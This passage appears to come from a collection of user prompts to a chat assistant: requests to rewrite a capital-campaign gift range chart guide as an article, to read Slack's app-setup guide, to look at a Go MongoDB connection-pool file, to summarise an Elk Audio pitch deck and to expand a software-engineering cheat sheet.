the progress your campaign is making and what gifts have yet to be committed. Your board members and executive staff will appreciate this very simple tracking devise. It’ll give them a sense of confidence to see the top gifts fill in from the top down.\n\nTools to Create Your Capital Campaign Gift Range Chart\n\nTools to Create Your Capital Campaign Gift Range Chart\nThe sample Gift Range Chart in this post is one of a number of tools available in the Capital Campaign Toolkit’s Pre-Campaign Planning section. Other tools include:\n\nGift Range Chart Calculator\nGift Range Chart Worksheet\nDepth Chart Worksheet\nOther related tools include a plan for your donor recognition guide based on the levels in your Gift Range Chart.\n\nIf you’re eager to utilize these tools for your campaign, check out the different Toolkit options here. Most options include campaign advising, giving you professional support at a fraction the cost of a campaign consultant.\n\nVIDEO: GIFT RANGE CHARTS = YOUR MOST POWERFUL TOOL\nTo learn even more about creating a Gift Range Chart for your campaign, watch the following video (approximately 17 minutes):\nConclusion: Making Sense of Your Campaign\n\nConclusion: Making Sense of Your Campaign\nBecause capital campaigns go on for many months (or even years), you may find it easy to get confused about where you should be putting your efforts during the seven phases of the campaign.\n\nIf, however, you coordinate your campaign plan to a Gift Range Chart, then, when you’re feeling lost, you’ll know where to turn. You’ll look at your chart to review which groups of donors have been solicited, as well as which are next up.\n\nYou may tie your staffing responsibilities to the donor levels of the Gift Range Chart. And you will certainly create a timetable for your campaign that prioritizes the work of the campaign according to giving level, starting with the largest gifts and working down.\n\nAnd even when considering how to thank and recognize donors, once you start thinking about it from the perspective of the giving levels in your Gift Range Chart, all of the planning will fall into place.\n\nA GIFT RANGE CHART MINIMIZES CONFUSION AND BUILDS CONFIDENCE\nWhen you organize your campaign based on a clear top-down strategy as mapped out in the Gift Range Chart, you will minimize confusion and build confidence in the campaign process.\n\nA Gift Range Chart may appear to be a simple planning devise, but when you use it as the essential structure for your campaign, you’ll find that everything falls into place.\n\nHave more questions about capital campaigns or want one-on-one help crafting your strategy? Check out our complete FAQ guide or get in touch. We’ll be happy to help!]\n\nCan you write an article using the content above called, "What I wish orgs finished before the capital campaign" include headers and subheaders and a few lists where needed, make it relatable and less than 750 words.' -'Basic app setup\nThis guide is for developers who\'ve never followed a Slack app recipe before, but want to cook with the latest ingredients from the Slack platform. We\'ll teach you how to craft a new Slack app from the ground up.\n\nIf you\'re an experienced chef, already familiar with seasons of Slack apps past, check out this quickstart guide that explains exactly what new ingredients have arrived to apps.\n\nOtherwise, read on!\n\nOverview\nCreating an app\nRequesting scopes\nInstalling the app to a workspace\nCalling API methods\nListening for events\nPosting in public channels\nCustomizing message authorship\nUsing Slash commands and Incoming Webhooks\nHandling link unfurling\nWhere to go next\nOverview \nThis guide walks you through making a new Slack app using the Slack App Management UI.\n\nBy the end of this guide, your app will be poised to post messages, make response to mentions, and even use classic recipes like Slash commands and incoming webhooks.\n\nNew Slack apps are safer for users to install, less prone to unexpected uninstalls, and even have new features not available to classic apps. So let\'s get cooking, starting with the first ingredient: creating an app.\n\nCreating an app \nIf you haven\'t already, create a new Slack app with our easygoing UI:\n\nCreate a new Slack app\n\nFill out your App Name and select the Development Workspace where you\'ll play around and build your app. Don\'t fuss too much over either field—no matter what workspace you select, you\'ll still be able to distribute your app to other workspaces if you choose.\n\nRequesting scopes \nPreheat the oven and ready your app for action by requesting scopes. Scopes give your app permission to do things (for example, post messages) in your development workspace.\n\nYou can select the scopes to add to your app by heading over to the OAuth & Permissions sidebar.\n\nScroll down to the Scopes section and click to Add an OAuth Scope.\n\nFor example, try adding the chat:write scope to your Bot Token. It\'ll allow your app to post messages! While you\'re at it, add the channels:read scope so your app can gain knowledge about public Slack channels.\n\nIf you\'re confused about the difference between adding a Bot Token Scope or a User Token Scope, worry not:\n\nAdd scopes to your Bot Token, not your User Token.\n\nOne notable exception to that rule is if you need to act as a specific user (for example, posting messages on behalf of a user, or setting a user\'s status). In that situation, you\'ll need a User Token.\n\nNew Slack apps may not access RTM\nFor most apps, the Events API lets your app listen to Slack goings-on in a more structured, safe way. If you require access to RTM (say, because you\'re building your app behind a corporate firewall), you\'ll need to create a classic Slack app and use its bot token to call rtm.connect:\n\nCreate a classic Slack app\n\nOtherwise, it\'s bot tokens all the way down.\n\nInstalling the app to a workspace \nSure, you can request any scope you want—but final say always resides with the user installing your app. Like a picky eater, a user can choose to refuse any and all installs that seem to request permissions beyond what an app truly needs.\n\nTry it out! Install your own app by selecting the Install App button on the sidebar.\n\nAfter clicking through one more green Install App To Workspace button, you\'ll be sent through the Slack OAuth UI.\n\nNew Oauth UI for users\n\nHere\'s a potentially confusing bit: when you follow this flow with Slack, you\'re playing the part of the installing user, the picky eater—not the app! If you were adding your app to a different workspace besides your development workspace, this flow would be completed by a user from that workspace, not you.\n\nAs a user, you\'re choosing to trust the app. Is it trustworthy? Well, you just built it—hopefully, it\'s not too bad.\n\nAfter installation, you\'ll find an access token inside your app management page. Look for it under the OAuth & Permissions sidebar.\n\nAccess tokens are imbued with power. They represent the permissions delegated to your app by the installing user. Remember to keep your access token secret and safe, to avoid violating the trust of the installing user.\n\nAt a minimum, avoid checking your access token into public version control. Access it via an environment variable. We\'ve also got plenty more best practices for app security.\n\nCalling API methods \nYour access token allows you to call the methods described by the scopes you requested during installation.\n\nFor example, your chat:write scope now allows your app to post messages. Your app probably isn\'t a member of any channels yet, so pick a channel you don\'t mind adding some test messages to and /invite your app.\n\nYou can find the corresponding id for the channel that your app just joined by looking through the results of the conversations.list method:\n\nCopy\ncurl https://slack.com/api/conversations.list -H "Authorization: Bearer xoxb-1234..."\nYou\'ll receive a list of conversation objects.\n\nNow, post a message to the same channel your app just joined with the chat.postMessage method:\n\nCopy\ncurl -X POST -F channel=C1234 -F text="Reminder: we\'ve got a softball game tonight!" https://slack.com/api/chat.postMessage -H "Authorization: Bearer xoxb-1234..."\nVoila! We\'re already well on our way to putting a full-fledged Slack app on the table.\n\nSlack Softball Team app message\n\nWant more tips on cooking up the perfect API call? Check out the Web API guide for some technical tricks.\n\nIf you just want to see all the different methods you can call, check out the methods list. If you select any method, you\'ll see exactly what parameters the method takes, plus additional bits of knowledge. Think of the methods list as the Slack API cookbook.\n\nPosting in public channels \nNew Slack apps do not begin life with the ability to post to any public channel without joining.\n\nGood news: apps can gain that ability by asking for them explicitly with the use of scopes.\n\nRequest the chat:write.public scope to gain the ability to post in all public channels, without joining. Otherwise, you\'ll need to use conversations.join, or have your app invited by a user into a channel, before you can post.\n\nCustomizing message authorship \nNew Slack apps also do not start with the ability to adjust username or icon when posting messages—that is, message authorship.\n\nYou can adjust your app\'s message authorship with the help of the chat:write.customize scope. Once you\'ve requested the scope, you can make use of the username, icon\\_url, and icon\\_emoji parameters in chat.postMessage.\n\nListening for events \nOne fundamental pattern of Slack apps is listening and responding.\n\nWe\'ve already touched on one way an app can respond: by calling chat.postMessage to post a message.\n\nBut our app isn\'t a very good listener yet. An app that speaks without being prompted can be distracting at best and outright disruptive at worst.\n\nApps always respond to something. It might be a mention in channel, a button pushed to trigger an action, even a user entering into a DM with the app. But apps never act for no reason.\n\nApps listen with the Events API. Events are just what you\'d expect: notifications, sent to your app, about happenings in Slack. Each type of event lets your app know about a certain type of happening.\n\nLet\'s subscribe to the app\\_mention event. Select the Event Subscriptions sidebar and toggle "Enable Events" on. Within Subscribe to bot events click Add Bot User Event, then search for app\\_mention.\n\nAs with scopes, always subscribe to events with a bot user, unless only a user token will do.\n\nSet the Request URL to a URL where your app\'s server listens to incoming HTTP requests. Slack will send an HTTP request there when your app is mentioned, allowing your app to figure out how it wants to respond.\n\nIf setting a server up makes you nervous, there\'s plenty of help in our tools and SDKs for programming languages, which implement a server listening for events automatically.\n\nYou\'ll notice that the app\\_mention event requires the app\\_mention:read scope. Events are like API methods: they allow your app access to info in Slack, so you need permission for them. Reinstall your app with the new scope.\n\nNow you\'ll be notified when your app is mentioned, and you can respond however you like:\n\nSlack Softball Team app call and response\n\nUsing Slash commands and Incoming Webhooks \nNew Slack apps can still use beloved recipes passed down through the family: Slash commands and Incoming Webhooks.\n\nRequest the commands scope to build a Slash command. Request the incoming-webhook scope to use Incoming Webhooks. Both features act exactly the way they did for classic Slack apps, with one big exception:\n\nSlash commands and Incoming Webhooks are now tied to your bot user and bot token, not a user. That means you\'re safe from unexpected installs if the user who builds a command or webhook leaves the workspace!\n\nNew Slack apps will not support Slash commands or Incoming Webhooks on a user token. They can only be obtained by the app\'s bot user.\n\nHandling link unfurling \nYou can request the links:read and links:write scopes so that your app can handle unfurls.\n\nA link shared in a channel will only be unfurled if the token with links:write has access to the message that contains the link. For example, if you have a new Slack app and an installing user shares a link to a private channel, but the new Slack app is not in that private channel, that link will not unfurl.\n\nWhere to go next \nCooking is a life-long pursuit, and Slack apps have the same complexity. From here, you can go on to build mouth-watering interactive workflows; spice up your sentences with Block Kit; even pursue building for larger Enterprise Grid organizations, which contain multiple workspaces.\n\nYou can now even submit new Slack apps to the app directory and share your creations with others!\n\nRespond OK when ready for more.' -'here is the pool.go for mgopool.DBInfo and mgopool.Pool\npackage mgopool\n\nimport (\n "context"\n "errors"\n "fmt"\n "net/url"\n "strings"\n "sync"\n "time"\n\n "gitlab.com/cake/gopkg"\n "gitlab.com/cake/m800log"\n "go.mongodb.org/mongo-driver/mongo"\n "go.mongodb.org/mongo-driver/mongo/options"\n "go.mongodb.org/mongo-driver/mongo/readpref"\n "go.mongodb.org/mongo-driver/mongo/writeconcern"\n\n "github.com/eaglerayp/go-conntrack"\n "go.opentelemetry.io/contrib/instrumentation/go.mongodb.org/mongo-driver/mongo/otelmongo"\n)\n\n// AlertChannel put error message, wait for outer user (i.e., gobuster) pick and send.\nvar AlertChannel = make(chan error, 1)\n\n// Default dial timeout value from https://gitlab.com/cake/mgo/blob/v2/cluster.go\nvar syncSocketTimeout = 5 \\* time.Second\n\n// DBInfo logs the required info for baas mongodb.\ntype DBInfo struct {\n Name string\n User string\n Password string\n AuthDatabase string\n Addrs []string\n MaxConn int\n MaxConnectAttempts int\n Timeout time.Duration\n SocketTimeout time.Duration\n ReadMode readpref.Mode\n // if not set, follow mongoDB default\n // 4.2: 1\n // 5.0: majority\n WriteConcern \\*writeconcern.WriteConcern\n Direct bool\n Mongos bool\n}\n\n// NewDBInfo\nfunc NewDBInfo(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n return NewDBInfoWithSocketTimeout(name, addrs, user, password, authdbName,\n timeout, 0, maxConn, direct, readSecondary, mongos)\n}\n\n// NewDBInfoWithSocketTimeout\nfunc NewDBInfoWithSocketTimeout(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, socketTimeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n readMode := readpref.PrimaryPreferredMode\n if readSecondary {\n readMode = readpref.SecondaryPreferredMode\n }\n return &DBInfo{\n MaxConn: maxConn,\n Name: name,\n Addrs: addrs,\n User: user,\n Password: password,\n AuthDatabase: authdbName,\n Timeout: timeout,\n SocketTimeout: socketTimeout, // if socketTimeout is 0 (not given), newClient will use syncSocketTimeout\n Direct: direct,\n ReadMode: readMode,\n Mongos: mongos,\n }\n}\n\nfunc (dbi \\*DBInfo) SetWriteConcern(writeconcern \\*writeconcern.WriteConcern) {\n dbi.WriteConcern = writeconcern\n}\n\n// Pool is the mgo session pool\ntype Pool struct {\n name string\n config \\*DBInfo\n mode readpref.Mode\n available bool\n rwLock sync.RWMutex\n client \\*mongo.Client\n}\n\nfunc newClient(dbi \\*DBInfo, addrs []string) (newClient \\*mongo.Client, err error) {\n account := ""\n if dbi.User != "" && dbi.Password != "" {\n account = fmt.Sprintf("%s:%s@", url.QueryEscape(dbi.User), url.QueryEscape(dbi.Password))\n }\n uri := fmt.Sprintf("mongodb://%s%s/%s", account, strings.Join(addrs, ","), dbi.AuthDatabase)\n clientOpt := options.Client().ApplyURI(uri)\n\n conntrackDialer := conntrack.NewDialer(\n conntrack.DialWithName("mgopool"),\n conntrack.DialWithTracing(),\n )\n clientOpt.SetMonitor(otelmongo.NewMonitor())\n clientOpt.SetDialer(conntrackDialer)\n clientOpt.SetAppName(gopkg.GetAppName())\n clientOpt.SetConnectTimeout(dbi.Timeout)\n\n if dbi.SocketTimeout > 0 {\n clientOpt.SetSocketTimeout(dbi.SocketTimeout)\n } else {\n clientOpt.SetSocketTimeout(syncSocketTimeout)\n }\n\n clientOpt.SetDirect(dbi.Direct)\n clientOpt.SetMaxPoolSize(uint64(dbi.MaxConn))\n clientOpt.SetMinPoolSize(uint64(dbi.MaxConn))\n readPref, \\_ := readpref.New(dbi.ReadMode)\n clientOpt.SetReadPreference(readPref)\n // The default read preference is primary\n\n if dbi.WriteConcern != nil {\n clientOpt.SetWriteConcern(dbi.WriteConcern)\n }\n\n maxAttempts := 10\n if dbi.MaxConnectAttempts > 0 {\n maxAttempts = dbi.MaxConnectAttempts\n }\n for attempts := 1; attempts <= maxAttempts; attempts++ {\n newClient, err = mongo.Connect(context.Background(), clientOpt)\n if err == nil {\n break\n }\n errLogf(systemCtx, addrs, "[mongo] NewClient error: %v", err)\n time.Sleep(time.Duration(attempts) \\* time.Second)\n }\n if err != nil {\n errLogf(systemCtx, addrs, "[mongo] NewClient no reachable server error: %v", err)\n return\n }\n err = newClient.Ping(context.TODO(), nil)\n if err != nil {\n newClient.Disconnect(context.TODO())\n }\n\n return\n}\n\n// NewSessionPool construct connection pool\nfunc NewSessionPool(dbi \\*DBInfo) (\\*Pool, error) {\n p := &Pool{}\n err := p.Init(dbi)\n return p, err\n}\n\n// Init returns whether Pool available\nfunc (p \\*Pool) Init(dbi \\*DBInfo) error {\n // mask password for security concern\n password := dbi.Password\n var pb strings.Builder\n for i := 0; i < len(password); i++ {\n pb.WriteString("\\*")\n }\n dbi.Password = pb.String()\n m800log.Infof(systemCtx, "[mgopool] init with config: %+v", dbi)\n\n // recover password\n dbi.Password = password\n\n // connection establish\n client, dialErr := newClient(dbi, dbi.Addrs)\n if dialErr != nil {\n errLogf(systemCtx, dbi.Addrs, "unable to connect to mongoDB error: %v", dialErr)\n return dialErr\n }\n p.name = dbi.Name\n p.config = dbi\n p.available = true\n p.mode = dbi.ReadMode\n p.client = client\n\n return nil\n}\n\nfunc (p \\*Pool) GetMongoClient() (\\*mongo.Client, error) {\n if p.client == nil {\n return nil, errors.New("mongo client empty")\n }\n\n return p.client, nil\n}\n\n// IsAvailable returns whether Pool availalbe\nfunc (p \\*Pool) IsAvailable() bool {\n p.rwLock.RLock()\n defer p.rwLock.RUnlock()\n return p.available\n}\n\n// Len returns current Pool available connections\nfunc (p \\*Pool) Len() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// LiveServers returns current Pool live servers list\nfunc (p \\*Pool) LiveServers() []string {\n if p.IsAvailable() {\n return p.config.Addrs\n }\n return []string{}\n}\n\n// Cap returns Pool capacity\nfunc (p \\*Pool) Cap() int {\n if p.IsAvailable() {\n return p.config.MaxConn\n }\n return 0\n}\n\n// Mode returns mgo.Mode settings of Pool\nfunc (p \\*Pool) Mode() readpref.Mode {\n return p.mode\n}\n\n// Config returns DBInfo of Pool\nfunc (p \\*Pool) Config() \\*DBInfo {\n return p.config\n}\n\n// Close graceful shutdown conns and Pool status\nfunc (p \\*Pool) Close() {\n p.rwLock.Lock()\n defer p.rwLock.Unlock()\n p.available = false\n p.client.Disconnect(context.TODO())\n}\n\n// ShowConfig returns debug config info\nfunc (p \\*Pool) ShowConfig() map[string]interface{} {\n config := make(map[string]interface{})\n config["MaxConn"] = p.config.MaxConn\n config["Addrs"] = p.config.Addrs\n config["Timeout"] = p.config.Timeout\n config["Direct"] = p.config.Direct\n config["Mongos"] = p.config.Mongos\n config["ReadMode"] = p.config.ReadMode\n config["User"] = p.config.User\n config["AuthDatabase"] = p.config.AuthDatabase\n return config\n}\n\n// Recover close and re-create the pool sessions\nfunc (p \\*Pool) Recover() error {\n m800log.Info(systemCtx, "[mgopool] start recover")\n p.Close()\n for {\n err := p.Init(p.config)\n if err == nil {\n return nil\n }\n m800log.Errorf(systemCtx, "[mgopool] still try recover error:%v", err)\n }\n}' -"can you prepare a summary of this text?\n\nJanuary 2023\nElk Audio is a Stockholm based company that develops patent pending technologies enabling a new generation of real-time audio solutions that are ready to take advantage of 5G technology and edge computing to finally bring music into the connected world.\n\nWe are Elk, a Stockholm based company, founded in about five year ago by myself, Stefano and a third partner Michele. We have different backgrounds (I come from Management Consulting and finance, Stefano holds a PhD in Computer Science and has previously worked in the ProAudio industry, Michele is a violin making maestro and graduated at the international school Stradivari). Despite this different backgrounds we share a common passion about music and technology.\n\nWe build a set of technologies having in mind companies, products or services for context where ultra low-latency audio is a mission critical factor to provide real-time interaction, including of course real-time interaction that might be relevant for you. In particular we are strongly convinced that the feeling to be in the same room can greatly contribute to generate real engagement (performers, guest artists, podcasters, actors...)\n2\n\nIt’s 2023 and concerts have moved to the internet. You can experience a streamed concert from anywhere.\n\nBut still 250 million musicians worldwide can’t play live together online. Why?\n\nThe problem is spelled Latency\n\nFor a human to get the feeling of real time, latency needs to be below 20-30 ms. \n\nA typical Zoom or Google Meet video-call on average has latency spanning 150-500 ms. This makes it impossible even clapping your hands in sync.\n\nLatency is what kills the feeling of live for any musician playing online.\nSource\nDestination\nProcessed Data\nRequest\n\nLatency is solved by \n\nThe World’s lowest latency \x0bAudio Operating System\nElk Audio OS is the perfect solution for an industry that is in transformation: musical instrument and audio gadgets, \x0bensuring <1ms latency over general purpose CPUs\nTHIRD PARTY HW DEVICE\x0bRUNNING LICENCED ELK AUDIO OS\n\nElk Audio OS\nProprietary technology\nElk Audio OS is Linux-based fine-tuned hybrid system with dual Kernel (RTOS / Linux)\n4+yrs R&D ($6M+ investment)\n<1ms latency over general purpose CPUs \nWorld’s lowest latency Audio OS\nAlready licensed to ProAudio HW makers\n9\n\nNetwork\x0bLatency is solved by \n\nIntroducing Elk LIVE \nConnect over the internet and play music \x0btogether like you’re in the same room\nElk LIVE \x0becosystem\nWEBAPP\x0b(PC / Mobile)\nEMBEDDED \x0bHW DEVICE\nCLOUD\n1\n2\n3\nINTERNET\x0bCONNECTIVITY\n3rd PARTY\x0bHW MANUFACTURERS\nPOWERED by Elk\nELK BRIDGE HW DEVICE\n\nThe problem Elk is solving:\nStandard audio systems add at least \n10-15 ms latency on each end\n“Real-time” threshold (20-30ms)\nINTERNET\nROUTER\nCOMPUTER\nAUDIO INTERFACE\nAUDIO INTERFACE\nCOMPUTER\nROUTER\n10-15 ms\nLittle room for \nnetwork comms.\n10-15 ms\n\nElk LIVE’s workflow\n“Real-time” threshold (20-30ms)\n18-28ms left for high-quality network communications\n1ms\n1ms\nSpeed of light is the only limit!\nElk LIVE offsets any local latency and \x0bdramatically optimizes network communication \x0bthrough advanced ECC algorithms\nROUTER\nINTERNET\nROUTER\nLIVE BRIDGE\x0bINTERFACE\nLIVE BRIDGE\x0bINTERFACE\n15\n\nAdding ELK Live as software\nReduces latency significantly. This allows for use cases that feels like real-time and online collaboration megatrends in audio\n“Real-time” threshold (20-30ms)\nINTERNET\nROUTER\nCOMPUTER\nAUDIO INTERFACE\nAUDIO INTERFACE\nCOMPUTER\nROUTER\n3-4 ms\nMore room for network comms.\n3-4 ms\nExample using Elk LIVE desktop software \x0bto decrease latency even on existing HW. \n\nElk OS\nWorld’s fastest low-latency \nAudio OS\n\nElk Audio Linux OS is the perfect solution for an industry that is in transformation: musical instrument and audio gadgets, ensuring <1ms latency over general purpose CPUs\nElk Live \x0bHW + SW\nA suite of tools that improves the audio experience on any type of computer or handheld device\nCloud \x0bCollaboration \nTool suite\nA cloud solution for online collaboration of DAWs, music instruments and audio solutions.\nSummary of\x0bOur Products\n\nMore About\x0bElk LIVE \x0b(Bridge & Use Cases)\n\nA new standard for next generation’s audio devices\nAt core is the Elk Audio OS which is an ultra-low latency sound processing operating system. \nThe Elk Audio OS is enabled in the stand-alone hardware Elk LIVE Bridge which lets musicians connect all their Instruments. \nElk Audio OS can also easily be implemented in any audio device and put to use with our service. \nAt center for the user is the Elk LIVE app which lets you connect and play live over the internet like you’re in the same room. \n\nMeet the new Elk LIVE Bridge\n\nMeet the new Elk LIVE Bridge\nFront Panel\nRear Panel\n\nElk LIVE is your everywhere live rehearsal space, studio and stage.\x0bFor those reuniting with the high school band (like our chairman Ludvig). And for passionate young musicians, dreaming to make it big. And Queen (yes, Brian May actually has our gear).\nSetup live performances and interact with your audience.\nPlay live together with your band or people you find in the Elk Community.\nCreative space to explore a track from a first rough idea to the finished recording.\nLive rehearsal space.\nLive studio.\nLive stage.\nYour everywhere live rehearsal space, studio and stage.\nChange 3rd image (more online)\n\nMake rehearsal hours last way longer by getting that live experience from your home studio.\nConnect with your band or musicians that are invited to a session (up to 25 participants)\nHost spontaneous sessions where other musicians in the community are invited to join. \nHost live sessions anytime, from anywhere for anyone. Setup and share link in a click.\nAdd a high-quality drum machine to substitute your drummer or get effect plugins from the in-product store. \nJoin a choir, but without having to go to that dodgy garage.\nAre you a music teacher or a school? Offer classes and get paid from wherever.\nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\n\nA distributed yet fully functional \x0bway of work for any musician.\nProduce music live with a distributed way of work\nInvite others to join your creative process.\nAdd instruments or effect plugins from the in-product store.\nAutomatically upload multiple tracks in the cloud to your favorite online DAW (Soundtrap, Soundation,...) for mastering or publish directly to Spotify or similar. \nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\n\nA distributed yet fully functional \x0bway of work for any musician.\nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\nForeigner band \x0b(80+ million albums sold) powered by Elk \x0bsong writing session\n\nMakes performing live easy, \x0binteractive and monetizable\nSetup live performances that enables interactive experiences with your audience or your Patreons.\nShare to all live streaming platforms.\nPromote your gig to the community and in social.\nThe audience is invited connect their video to share their experience with the band and others watching, further adding to the experience.\nSell tickets to your shows (for the band’s bank account or to support a cause).\nLIVE REHEARSAL SPACE\nLIVE \x0bSTUDIO\nLIVE\x0bSTAGE\n\nMain benefits for key target users: interviews and survey 2020-2021\nWhy users can't wait to get their hands on Elk LIVE?\nHaving fun!\nNo commuting with large gear\nNo renting rehearsal rooms\nMeeting new people\nBe able to pursue way more musical projects\n\nAmateur musicians\nEducation\nProfessional musicians\nSupporting schools to have remote learning opportunities\nMaking possible remote rehearsal among students\nEncouraging collaboration among schools\nAllowing schools to increase their geographical reach\nMasterclasses with remote based visiting teachers\nRemote music production\nProviding expensive studio gear remotely “as a service” powered by Elk’s remote MIDI features\nRecord albums remotely\nEngaging more professional musicians avoiding to commute to studios\nReal-time audio recording\nReal-time audio-video streaming over many social platforms" -'Now please expand on this cheat sheet, in the same descriptive format, with sections and topics clearly categorized, in conjunction with the information from the previous cheat sheet re-posted here:\n\nMotivation for Process Models\n\nSoftware Process Model: Framework for organizing and managing software development activities.\nOverview of Process Models\n\nSoftware Development Process Models:\nWaterfall model: Linear, sequential approach; each phase must be completed before moving to the next.\nIncremental model:\na. Continuous Integration Model: Integrate and test code changes frequently.\nb. Multiple Releases: Deliver product in smaller, incremental releases.\nSpiral model: Iterative process, includes risk assessment and management.\nRational Unified Process model: Iterative, use-case driven framework.\nEntry and Exit Criteria: Define when a phase or task starts and ends.\nAgile Methodologies\n\nProblems with "Traditional" Processes: Rigid, slow to respond to change.\nExample Agile Methodologies: Scrum, Kanban, XP (eXtreme Programming).\nXP\'s Core Values: Communication, simplicity, feedback, courage, respect.\nXP\'s Fundamental Principles: Rapid feedback, assumption of simplicity, incremental change, embracing change, quality work.\nXP\'s "Process": Iterative, incremental, test-driven approach.\nAgile vs. Non-Agile: Agile focuses on flexibility, collaboration, and customer satisfaction.\nTest-Driven Development (TDD)\n\nWrite tests before writing code; refactor code for passing tests.\nTool Support for Software Engineering\n\nCASE: Computer-Aided Software Engineering tools to automate activities.\nTools for Software Engineering Activities: IDEs, version control systems, build tools, etc.\nVersion Control Systems\n\nCentralized vs. Distributed: Single server (e.g., SVN) vs. distributed repositories (e.g., Git).\nGit Basics\n\nBasic git operations: clone, add, rm, commit, push, pull, status, blame, bisect, etc.\nMerge conflicts: Resolve when multiple changes conflict.\nBranches: Separate lines of development.\n.gitignore: Ignore specified files/directories in version control.\nPull request: Request to merge changes from one branch to another.\nProcess Models Recap\n\nSelecting Process Models: Choose based on project needs, team size, and flexibility.\nAndroid\n\nAndroid Software Stack: OS, middleware, and app layers.\nAndroid Studio: Official IDE for Android development.\nUses Gradle build system by default.\nAndroid Basics\n\nLearn by creating a basic app: Activities, Widgets, and UI components.\nAndroid SDK: Software Development Kit for Android app development.\n\nAndroid Project\n\nAndroid Manifest file: XML file for app configuration and component declaration.\nResource files: Images, layouts, strings, etc.\nDesigning the UI: Use typical Android UI elements.\nAndroid Activity: Represents a single screen with a user interface.\nCallbacks: Methods called in response to events.\nModel-View-Controller: Separation of data, presentation, and user interaction logic.\n\nEvent-Driven Programming\n\nEvent-Driven vs. Algorithm-Driven: Reacting to events vs. sequential execution.\nGUI Event-Driven Programming: Handling GUI events with listeners and handlers.\nbuild.gradle Files\n\nProject-level: Configuration for the entire project.\nModule-level: Configuration for individual modules.\nAndroid Apps Lifecycle: Sequence of states an app goes through during execution.\n\nActivities and Intents\n\nUsing Android Intents: Start/stop activities, pass data, and return results.\nAndroid Activity Lifecycle: States an activity goes through during execution.\n\nCreating Activity Class: Extend AppCompatActivity and implement required methods.\n\nExample onCreate() Method\n\nElements in onCreate() Example: Set content view, initialize UI components, and set event listeners.\nConnecting UI and Activity: Use findViewById() to reference UI elements.\n\nPreparation for Requirement Engineering: Process to gather, analyze, and document software requirements.\n\nMajor Requirements Engineering Activities\n\nRequirements Elicitation: Collecting requirements from stakeholders.\nAnalysis: Requirements Categorization and Prioritization.\nRequirements Definition/Prototyping/Review: Define, create prototypes, and review requirements.\nRequirements Documentation: Detail requirements in a clear, concise, and organized manner.\nEstablishing Requirement Traceability: Track relationships between requirements and other artifacts.\nRequirements Prototyping: Create a working model of the software.\nRequirement Specification: Document detailed, complete, and consistent requirements.\nReview of Agile Model: Agile focuses on flexibility, collaboration, and customer satisfaction.\n\nBehavior-Driven Development (BDD): Agile approach using natural language scenarios to describe software behavior.\n\nUser Stories for Requirements\n\nUser stories: Express application requirements in agile processes.\n"Connextra" format: As a [role], I want [feature] so that [benefit].\n"SMART" User Stories: Specific, Measurable, Achievable, Relevant, Time-bound.\nAcceptance Tests: Define criteria for user story completion.\nMapping User Stories to Acceptance Tests: Relate user stories to test scenarios.\nScenarios - Format: Given/When/Then.\nCreate Scenarios for User Stories.\nGherkin format: Structured language for defining scenarios.\nUI Requirements: Use "Lo-Fi" sketches, storyboards, and prototypes.\n\nUI Sketches: Visual representation of UI elements.\nUI Sketches and Wireframes: More detailed representation of UI design.\nStoryboard: Sequence of UI sketches to represent user interaction.\nFrom UI Sketches to Storyboards and Lo-Fi Prototype: Create low-fidelity prototypes.\nWhy "Lo-Fi" Storyboards and UI Sketches and Prototypes? Fast, cost-effective, and easy to modify.\nMeasuring Productivity\n\nVelocity: Measure of work completed in a given time period.\nUser Story Burndown Charts: Track progress on user stories over time.\nWhat is Software Quality?\n\nConforms to requirements (validation), fit to use (verification), quality assurance, and quality control.\nError-Detection Techniques: Testing, inspections/reviews, static analysis, formal methods.\nError vs. Fault vs. Failure: Error (human action), Fault (incorrect program behavior), Failure (observable deviation from expected behavior).\n\nLimitation of Testing: Cannot prove the absence of faults, only their presence.\n\nWhat is Tested (Type of Tests): Unit, integration, system, acceptance, etc.\n\nTesting Methods: Glass-box (white-box), black-box, and combinations.\n\nExample Testing Methods: Equivalence Class Partitioning, Boundary Value Analysis, Path Analysis/Control Flow Testing, Combinations of Conditions, Guideline testing.\n\nUnit/Functional Testing: Test individual components or functions.\n\nAssertion: Check if a condition is true.\nUnit/Functional Testing Methods: Test specific functionality and expected outcomes.\nTest-Driven Development: Write tests before writing code, refactor code for passing tests.\n\nCommon Test Coverage Levels: Method, call (entry/exit), statement, branch, and path coverages.\n\nModified Condition/Decision Coverage (MCDC): Measure of the effectiveness of test cases in exercising different combinations of conditions in decision structures.\n\nAchieving Test Coverage: Design tests to cover various aspects of the code.\n\nTypes of test execution approaches:\n\nRegression Testing: Re-running tests to ensure changes didn\'t break existing functionality.\nContinuous Integration Testing: Integrate and test code changes frequently.\nInspections and Reviews:\n\nReview: Examine artifacts to identify defects.\nWalkthrough: Present artifacts to team members for feedback.\nSoftware inspection: Formal process of reviewing artifacts.\nInspections vs. Testing: Inspections identify defects in artifacts; testing identifies faults in code execution.\n\nExercise: Design Test Cases: Create test cases based on requirements and test techniques.\n\nEquivalence Class Partitioning: Divide input domain into equivalent classes.\n\nEquivalence Class Partitioning: Heuristics: Use rules of thumb to identify classes.\n\nTest-Driven Development (TDD):\n\nTDD High-Level Workflow: Write test, write code, refactor.\nRED-GREEN-REFACTORING: Write a failing test, make it pass, improve code.\nTools for TDD:\n\nJUnit: Java testing framework.\nJUnit Tests: Write and execute test cases.\nWrite a Simple Test Case: Define test methods with assertions.\nTypes of Tests:\n\nSystem or Acceptance Test: Verify the system meets requirements.\nIntegration/system testing: Test interactions between components.\nModule or Functional Test: Test individual modules or functions.\nUnit testing: Test individual units of code.\nTest Case and Running Test Case: Create test cases with expected outcomes and execute them.\n\nComponents of a Test Case: Test inputs, expected outputs, and test procedure.\n\nAndroid UI Testing:\n\nEspresso: Android UI testing framework.\nViewMatchers: Identify UI elements.\nViewActions: Perform actions on UI elements.\nViewAssertions: Verify UI element states.\nTesting Scenarios with Espresso: Write and execute UI tests.\nBasic Espresso Test: Create a simple test with onView, perform, and check.\nUsing Espresso: Preparation and Steps: Set up testing environment, write and run tests.\nA Simple User Story: Define a user story for 